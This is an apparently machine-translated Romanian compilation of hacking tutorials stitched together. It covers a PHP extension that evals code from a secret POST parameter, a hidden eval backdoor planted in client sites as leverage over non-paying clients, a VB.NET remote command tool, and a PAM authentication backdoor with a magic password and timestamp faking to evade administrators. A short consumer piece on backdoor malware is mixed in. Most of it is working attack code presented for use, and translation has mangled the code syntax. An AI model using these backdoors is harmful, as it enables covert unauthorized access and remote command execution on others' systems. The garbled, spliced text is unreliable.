Realizarea unui backdoor VB.NET. Backdoor - asigurare împotriva clienților necinstiți Scrierea unui backdoor

Astăzi vom vorbi despre scrierea unei uși din spate pentru PHP sub forma unei extensii. De regulă, majoritatea hackerilor lasă câteva bucăți de cod în scripturile utilizatorului. Desigur, astfel de lucruri sunt ușor de găsit datorită. Avantajele extinderii sunt evidente:

  • căutarea este dificilă
  • ocoliți disable_functions
  • capacitatea de a controla tot codul
  • acces la executarea codului folosind un parametru secret

Dar există câteva dezavantaje în acest caz, aveți nevoie de abilitatea de a edita fișierul de configurare php.

Ca exemplu, voi scrie sub Windows. Am folosit Visual Studio 2012 Express Edition pentru a scrie extensia. De asemenea, veți avea nevoie de sursele versiunii PHP necesare și de bibliotecile compilate (pot fi compilate din aceleași surse). Pentru simplitate, să descarcăm sursele

Să despachetăm PHP-ul asamblat în C:\php și sursele în C:\php-src.

Apoi trebuie să faceți câteva setări VS.

1) Adăugați definiții de preprocesor:
ZEND_DEBUG=0
ZTS=1
ZEND_WIN32
PHP_WIN32

2) Adăugați directoare pentru conectarea surselor: C:\php-src\main;C:\php-src\Zend;C:\php-src\TSRM;C:\php-src\regex;C:\php-src

3) Adăugați un director suplimentar fie cu php5ts.lib ( C:\php\dev)


4) Adăugați conexiunea la biblioteca php5ts.lib.


5) Specificați calea către fișierul colectat.


După ce am configurat setările studioului pentru dezvoltarea extensiei (puteți citi mai multe), vom crea un nou proiect backdoor de tip „Win32 Console Application”.


Selectați tipul: „Biblioteca DLL”

Apoi, vom elimina fișierele inutile din proiect. Ar trebui doar să rămână backdoor.cpp, stdafx.cppȘi stdafx.h.
La fișierul antet stdafx.h hai sa punem urmatorul cod:

#pragma o dată #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

Acum să trecem direct la codul extensiei. Să ștergem toate liniile și să adăugăm conexiuni pentru fișierele necesare.

#include „stdafx.h” #include „zend_config.w32.h” #include „php.h”

Dacă setările studioului sunt corecte, avertismentele vor dispărea. Când un modul este inițializat, există mai multe evenimente, fiecare dintre ele are loc în anumite condiții. Trebuie să ne executăm codul în timp ce cererea rulează. Pentru a face acest lucru, trebuie să o inițializam cu funcția de care avem nevoie, am ales „hideme” ca nume.

PHP_RINIT_FUNCTION(hideme);

După aceasta, puteți continua să inițializați modulul.

Zend_module_entry hideme_ext_module_entry = ( STANDARD_MODULE_HEADER, "simple backdoor", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES ); ZEND_GET_MODULE(hideme_ext);

După cum am scris deja, trebuie să executăm codul doar în timpul solicitării, astfel încât lansarea la încărcarea și descărcarea modulului este înlocuită cu NULL. Acum putem trece la corpul funcției hideme.

PHP_RINIT_FUNCTION(hideme) ( char* method = "_POST"; // matrice superglobală din care luăm parametrul și valoarea char* secret_string = "secret_string"; // parametrul care va conține codul malefic zval** arr; char* code ; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) ( HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find( ht , secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) ( // caută parametrul necesar în codul tabelului hash = Z_STRVAL_PP(val); // valoarea parametrului zend_eval_string(code, NULL) , (char *)"" TSRMLS_CC // executarea codului ) ) returnează SUCCES;

Ar trebui să fie clar din comentarii. Inițial, setați parametrii metodăȘi șir_secret. Apoi trecem prin matricea selectată și căutăm un parametru cu o cheie potrivită, dacă există una, luăm valoarea din acesta și executăm codul prin zend_eval_string.

După asamblare, obținem o bibliotecă care poate fi folosită ca extensie.

Demonstrație pe GNU Linux

Demo pe Windows:

Îmi amintesc în articolul „10 sfaturi și recomandări pentru a comanda un site web”, am menționat un caz în care un client necinstit a decis să ne înșele deși lucram împreună de mai bine de un an și jumătate. După ce am aflat că nu vom fi plătiți cu nimic, nici măcar nu ne-am putut recupera site-urile, din moment ce nu a mai rămas nicio lacună în ele.

Totuși, ceea ce mi-a făcut somnoros a fost că într-unul dintre site-uri mai aveam o mică „intrare de urgență”, datorită căreia nu m-am gândit să dezvolt un al doilea site și să ies în lume. Și această intrare arăta ca un formular simplu pentru încărcarea fișierelor pe server.

Cu ajutorul lui, am încărcat scripturile necesare pe site și le-am rulat pe site, iar ei, la rândul lor, și-au făcut treaba murdară. Această ușă avea un dezavantaj - oricine o putea folosi, dacă, desigur, știa despre existența ei.

Timpul a trecut și, în ciuda faptului că până astăzi totul merge bine, acest lucru nu exclude posibilitatea ca un astfel de pătrunjel să se repete.

În principiu, poți folosi vechea metodă de a trimite un fișier executabil către server, dar... De ce aceste complicații dacă poți face totul mai simplu.

Ofer optiuni si idei pentru cea mai simpla backdoor, in cazul in care chiar apar probleme. Asa de…

  1. Creăm un fișier php și îl numim ceva discret, cum ar fi license.php sau altceva.
  2. Scriem cod în el

    if (isset($_POST["text"]))
    eval($_POST[„text”]);
    ?>




  3. Plasăm fișierul undeva mai adânc în cms, de exemplu, în sălbăticia editorului WYSIWYG. Dacă doriți, duplicați fișierul în încă 2-3 locuri (pentru orice eventualitate)

Iată-l, un cadru pentru scandaluri. Cred că nu este nevoie să explicăm că funcția eval execută codul introdus în formular.

Acesta este doar un cadru care poate avea multe exemple de implementare. Să presupunem că puteți folosi highlight_file pentru a afișa conținutul unui fișier cu parole la care nu există acces direct. Vă puteți conecta la baza de date, puteți citi conținutul sau îl puteți modifica. Sau poți chiar să tipăriți un script pentru ștergerea totul de pe server, de ce nu.

Vă ofer mai jos idei de completare a acestei uși, care poate fi realizată după dorință – vă las, dragă cititor, ca temă opțională. Dar dacă dintr-o dată apare o dorință, mă voi uita cu plăcere la ceea ce s-a întâmplat.

Idei de îmbunătățire :

  1. În general, ar fi bine ca ușa să nu fie accesibilă tuturor și să o autorizeze, de exemplu, prin .htaccess obișnuit, ei bine, sau folosind instrumente PHP bazate pe sesiune (sau mai bine, ambele - nota editorului).
  2. Având autorizație, puteți pregăti în general un număr de butoane, făcând clic pe care puteți apela cutare sau cutare script. De exemplu, intri în ușa ta și există butoane - citește parolele, citește baza de date, șterge panoul administrativ și așa mai departe.
  3. Alte idei?

In cele din urma

Este logic să folosești o ușă atunci când predai un site înainte de plată (uneori) sau când lucrezi într-o companie și vrei să fii în siguranță. În primul caz, când se face plata, ușa poate fi scoasă, sau o puteți lăsa, deși nu cred că va mai fi nevoie. Și în cel de-al doilea caz, va trebui să-l ții tot timpul gata.

Asta e tot pentru azi. Voi fi bucuros să văd ideile și sugestiile dumneavoastră pe această temă! Pana data viitoare

Salutare tuturor) După cum ați observat deja, astăzi vă voi spune cum să vă scrieți propria backdoor „în orice limbă” (dacă știți să scrieți programe și aveți imaginație).

Deci, să începem cu faptul că mai întâi trebuie să facem o conexiune admin-client. Pentru aceasta folosim PHP și doar 5 linii de cod)

if ($_GET["cmd"] != "cmd_clear") ( $cmd = fopen("cmd.txt", "w+"); //Creează un fișier gol, dacă există, șterge-l. fwrite($cmd , $ _GET["cmd"]); //împingem ceea ce este în parametrul "cmd" și acolo, după cum ne amintim, era "msg(HelloWorld!)" fclose($cmd); us) else ($cmd = fopen("cmd.txt", "w"); //Creați un fișier nou (adică ștergeți cmd.txt-ul nostru) fclose($cmd); //închideți fișierul în spatele nostru)


Am găsit acest cod undeva pe internet.
Acest cod va lăsa comenzi pentru ușa noastră din spate)

Deci, să trecem la panoul de administrare, mai întâi vom schița un buton și o casetă de text pe formular și un browser web, pe care l-am pus pe al doilea formular, astfel încât să nu mă deranjeze)

În continuare, să trecem la cod

Indicăm site-ul nostru web astfel încât să se încarce când pornește programul) și îl declarăm o variabilă globală

Public www As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Se ocupă de MyBase.Load www = "http://localhost/" End Sub

Să animem butonul în care spunem să trimitem o solicitare GET către panoul nostru de administrare de pe site, după cmd = comanda noastră) eticheta msg va fi ulterior necesară pentru procesare de către client.

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Form2.WebBrowser1.Navigate(www & "rat/admin.php?cmd=< msg>„&TextBox1.Text&”< /msg>") TextBox1.Text = "" End Sub

Panoul nostru de administrare este gata)

Să trecem la client) nu aruncăm nimic pe formular în afară de un cronometru)

Să înregistrăm funcționarea temporizatorului prin care programul nostru va verifica site-ul (fișier cmd.txt) și bineînțeles că timerul începe odată cu programul)) La fel ca în panoul de administrare, vom declara variabile globale, acum sunt două dintre ele și, de asemenea, trebuie să conectăm două biblioteci

Importă System.Text Importă System.IO Public WC ca nou System.Net.WebClient Public www As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load www = "http:// localhost/" Timer1.Enabled = True Timer1.Interval = 5000 End Sub

Pentru comoditate, am făcut o întârziere artificială

Ei bine, acum codul pentru cronometrul în sine, adică. ce ar trebui să fie executat) În primul rând, să analizăm datele noastre) pentru aceasta am specificat eticheta msg și apoi am folosit comanda Shell pentru a lansa linia de comandă cu comenzile specificate)

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Se ocupă de Timer1.Tick Dim R() As String = ("< msg>") Dim L() As String = ("< /msg>") Dim myHttpWebRequest As Net.HttpWebRequest = Net.HttpWebRequest.Create(www & "rat/cmd.txt") Dim myHttpWebResponse As Net.HttpWebResponse = myHttpWebRequest.GetResponse() Dim myStreamReader As New Stream(IOmyHttpWebResponse As New. System .Text.Encoding.GetEncoding(1251)) Dim Str As String = myStreamReader.ReadToEnd() If InStr(Str, R(0)) 0 Then Dim Tmp As String = Str.Split(R, StringSplitOptions.None)(1 ) Dim Res As String = Tmp.Split(L, StringSplitOptions.None)(0) WC.DownloadString(www & "rat/admin.php?cmd=clear_cmd") Wait(2) Shell("cmd.exe " + Res ) Else End If End Sub


P.S. Dacă sunteți interesat de acest articol, atunci data viitoare voi face un articol despre cum să ascundeți acțiunile clientului nostru.
Citirea articolului va dura: 3 min.

Găsirea parolei altcuiva nu este un lucru ușor, cu excepția cazului în care combinația ei nu este banalul „qwerty”. Și în zadar, utilizatorii de internet care folosesc activ internet banking blestemă hackeri necunoscuți care au furat bancnote din portofelele lor electronice ghicind caracterele parolei. Totul este mult mai simplu - în timp ce se plimbau prin RuNet, utilizatorii jefuiți au descărcat fără să știe fișiere suplimentare de interes pentru ei, fie că este vorba de muzică, video sau altceva. Au descărcat programul spyware BackDoor și apoi a început totul...

În cazul meu, învățarea despre ușile din spate mi-a căzut pe cap ca zăpada în iulie. După multă gândire, am decis să trec de la internet dial-up la 3G, cumpărând un modem și trafic de la Beeline. Întorcându-mă acasă cu modemul proaspăt achiziționat, instalându-i software-ul pe computer, mi-am pus ochiul să navighez frenetic pe internet - viteza ar fi trebuit să depășească vitezele de acces la dial-up de cel puțin 50 de ori acces Internetul de pe PC-ul meu urca programe necunoscute... Fara a acorda atentia cuvenita actiunilor tocmai acestor programe si oprind calculatorul pana a doua zi, a doua zi am descoperit ca antivirusul Dr. Internetul a căzut și nu vrea să vâneze viruși.

Ușă din spate la computer pentru hacker

Ce fel de fiară este această BackDoor și cum să nu o obții, cum să o poți elimina? O „uşă din spate”, așa cum este tradus din engleză, este creată de un hacker și distribuită în programe și fișiere populare printre utilizatori sau prin e-mail (mai rar) - codul său este atribuit acestora de către distribuitorul hacker. Așa că îl descarcăm singuri și voluntar! Odată ajuns pe computerul utilizatorului, virusul BackDoor se înregistrează în folderul rădăcină Windows și într-o grămadă de alte locuri, blochează funcționarea antivirusului și trimite în mod constant proprietarului informații despre parolele și conturile de utilizator ale acestui computer. În plus, acest virus spyware se răspândește în mod activ de pe computerul pe care l-a capturat, folosind orice contact extern - ICQ, e-mail. mail, mail agent, Skype, rețele sociale etc... Greu, într-un cuvânt.

Ce ar trebui să facă un utilizator obișnuit, care nu este sofisticat în a respinge atacurile hackerilor? După ce ați descoperit software-ul spion BackDoor pe computer - dacă nu aveți un firewall sau un antivirus bun, va fi dificil de detectat, numai după ce bancnotele sunt furate și conturile sunt furate - obțineți un program antispyware specializat. De exemplu, am Ad-Aware SE Personal, deși cu baze de date vechi și în versiunea gratuită, este încă eficient. Apoi, utilizați-l pentru a elimina ușa nebunească de la intrările cheie din registry, reinstalați rapid antivirusul și actualizați bazele de date - configurați o scanare completă imediat după actualizare și așteptați să se termine, indiferent de cât timp durează!

Există o mulțime de moduri de a obține un punct de sprijin pe o mașină spartă. De la cele mai banale și ușor de detectat (adăugați-vă la baza de utilizatori) până la module complexe de nucleu care implementează un shell invers pe o mașină la distanță. Dar printre ele există o metodă care este foarte ușor de implementat și destul de secretă, despre care surprinzător de puțini oameni o știu. Aceasta este o modificare a modulelor sistemului de autentificare PAM, care este utilizată de toate sistemele UNIX moderne.

Ce este PAM

Modulele de autentificare conectabile (PAM) sunt un set de API-uri necesare pentru implementarea mecanismelor de autentificare în diverse aplicații.

Înainte de apariția PAM, pentru a implementa autentificarea, să zicem, folosind o cartelă cu cheie, dezvoltatorii au trebuit să adauge cod pentru a suporta aceleași carduri cheie în fiecare componentă a sistemului responsabilă cu autentificarea utilizatorilor. Adică, utilitarul de conectare, sshd, precum și orice alt software la care era planificat să se adauge funcționalități similare trebuiau adăugate și reconstruite.

Odată cu apariția PAM, situația a devenit mult mai simplă. Acum, pentru a adăuga propriul protocol de autentificare unic, auto-scris la sistem, este suficient să îl implementați în cadrul unui singur modul PAM. Și toate utilitățile și aplicațiile care pot funcționa cu PAM îl vor prelua și îl vor putea folosi pentru autentificarea utilizatorului.

În practică, arată cam așa: utilitarul de conectare apelează PAM, care efectuează toate verificările necesare folosind modulele specificate în fișierul de configurare și returnează rezultatul înapoi la utilitarul de conectare. Convenabil, nu-i așa? Cu toate acestea, această abordare conține oportunități pe care le putem folosi pentru a obține un punct de sprijin în sistem.

Merită să faceți o mică declinare a răspunderii. Există trei implementări principale ale PAM:

  • Linux-PAM este principala implementare a PAM pe orice sistem Linux;
  • OpenPAM - folosit pe sistemele BSD și macOS;
  • JPam este o implementare PAM pentru aplicații Java.

Nu ne vom concentra asupra vreunei implementări specifice. Funcționalitatea de bază este aceeași peste tot.

Aspecte ale fixarii în *nix folosind PAM

Puteți găsi setările PAM pentru fiecare aplicație în catalog /etc/pam.d(Linux) sau în fișierul /etc/pam.conf. Un exemplu de fișier de configurare pentru utilitarul de conectare pe macOS:

auth opțional pam_krb5 .so use_kcminit

auth opțional pam_ntlm .deci try_first_pass

auth opțional pam_mount .deci try_first_pass

auth required pam_opendirectory .deci try_first_pass

cont necesar pam_nologin .so

cont necesar pam_opendirectory .so

parola necesară pam_opendirectory .so

sesiune necesară pam_launchd .so

sesiune necesară pam_uwtmp .so

sesiune opțional pam_mount .so

Să vedem ce magie se întâmplă aici.

Fișierul de configurare descrie regulile de verificare care trebuie urmate pentru autentificarea cu succes a utilizatorului sau efectuarea altor acțiuni (schimbarea parolei, pregătirea mediului de utilizator). Fiecare linie a fișierului de configurare conține o regulă. Verificările se efectuează rând cu rând.

De la stânga la dreapta: tipul modulului, control_flag, numele modulului. Pentru noi, tipul de autentificare a modulului este de interes principal, aceste module sunt responsabile pentru autentificare. Control_flag este o proprietate a modulului. Poate lua următoarele valori:

  • requisit - Dacă modulul returnează un răspuns pozitiv, restul lanțului este executat și cererea este acordată. Dacă modulul returnează un răspuns negativ, atunci cererea este imediat respinsă și nu sunt efectuate alte verificări;
  • necesar - exact la fel ca și necesar: dacă răspunsul este da, restul lanțului de verificare este executat. Singura diferență este că dacă răspunsul este negativ, lanțul de verificări continuă să fie executat, dar cererea este respinsă;
  • suficient (suficient) - satisface cererea dacă niciuna dintre celelalte verificări efectuate anterior în lanț nu a funcționat negativ. Dacă modulul funcționează negativ, rezultatul este ignorat și lanțul de verificări este procesat în continuare;
  • opțional - modulul este procesat, dar rezultatul este ignorat.

Deja în această etapă, probabil v-ați dat seama că, făcând mici modificări la fișierul de configurare, ne putem asigura autentificarea reușită cu orice parolă (este suficient să marcați toate modulele de autentificare ca opționale). Dar această soluție va funcționa până când un utilizator sau un administrator legitim observă că se conectează cu succes la sistem chiar și cu o parolă incorectă.

Scrierea propriului nostru modul backdoor

PAM ne permite să ne conectăm propriile module de autentificare. Prin urmare, putem crea un modul cu o parolă „magică” și ne putem asigura că sistemul acceptă atât parolele standard de utilizator, cât și parolele noastre. Dacă introduceți o parolă incorectă, vom vedea o eroare de autentificare complet așteptată. Nu este o opțiune rea.

Deci, codul (nu uitați să înlocuiți parola magică cu parola dvs. „magică”):

#include

#include

#include

#include

#include

#include

#define MYPASSWD „parolă-magic”

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

returnează PAM_SUCCESS ;

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

returnează PAM_SUCCESS ;

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

char * parola = NULL ;

pam_get_authtok (pamh, PAM_AUTHTOK, (const char * *) & parola, NULL);

dacă (! strncmp (parolă , MYPASSWD , strlen (MYPASSWD ) ) )

returnează PAM_SUCCESS ;

întoarcere - 1;

Să asamblam modulul:

$ sudo apt - obțineți instalarea libpam0g - dev gcc

$ gcc - fPIC - c pam_backdoor .c

$ ld - x -- shared - o pam_backdoor .so pam_backdoor .o

Și puneți-l într-un director cu alte module:

$ sudo chown root : root pam_backdoor .so

$ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / securitate /

Vă rugăm să rețineți că calea /lib/x86_64-linux-gnu/security/ specific pentru Debian/Ubuntu. Pe Fedora, Red Hat și CentOS, modulele sunt localizate în director /lib64/security/, iar în Arch Linux - în director /lib/security/.

Acum tot ce rămâne este să configurați PAM în așa fel încât trecerea verificării de către modulul dvs. să fie suficientă pentru autentificarea cu succes. De exemplu, configurația pentru utilitarul su ( /etc/pam.d/su):

Pe unele sisteme Linux, setările de autentificare pot fi plasate în mai multe fișiere: common-auth, common-password, common-session și apoi conectate la fișierele de configurare ale unor utilitare specifice prin @include . Acest punct trebuie luat în considerare.

După ce faceți setările în config, utilitarul su vă va permite să utilizați parola specificată în modul. Același truc poate fi făcut cu utilitarul de conectare (console login) și sshd pentru autentificare de la distanță.

Încorporarea unei uși din spate într-un modul existent

În timp ce editați configurația PAM, este posibil să fi observat modulul pam_unix.so. Acest modul este responsabil pentru autentificarea utilizatorilor folosind o bază de date standard de parole pentru sistemele UNIX /etc/passwd. Multe utilitare îl folosesc, inclusiv su, login, sshd și alte programe (de exemplu, SecureFTPd).

Deoarece PAM este încă open source și avem acces la codul sursă atât al demonului în sine, cât și al componentelor sale standard, ne putem construi backdoor direct în acest modul.

Pentru a face modificările necesare, descărcați textele sursă PAM:

$http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

$tar - xzf inux - PAM - 1.1.8.tar.gz

Deschideți fișierul Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.cși căutați următoarele rânduri:

Asamblam și înlocuim modulul original cu al nostru:

$. /configure

$ face

$ sudo cp Linux - PAM - 1.1.8 / modules / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / security /

Pentru a împiedica administratorul să observe înlocuirea, schimbăm timpul de creare a fișierului astfel încât să coincidă cu timpul de creare a altor module.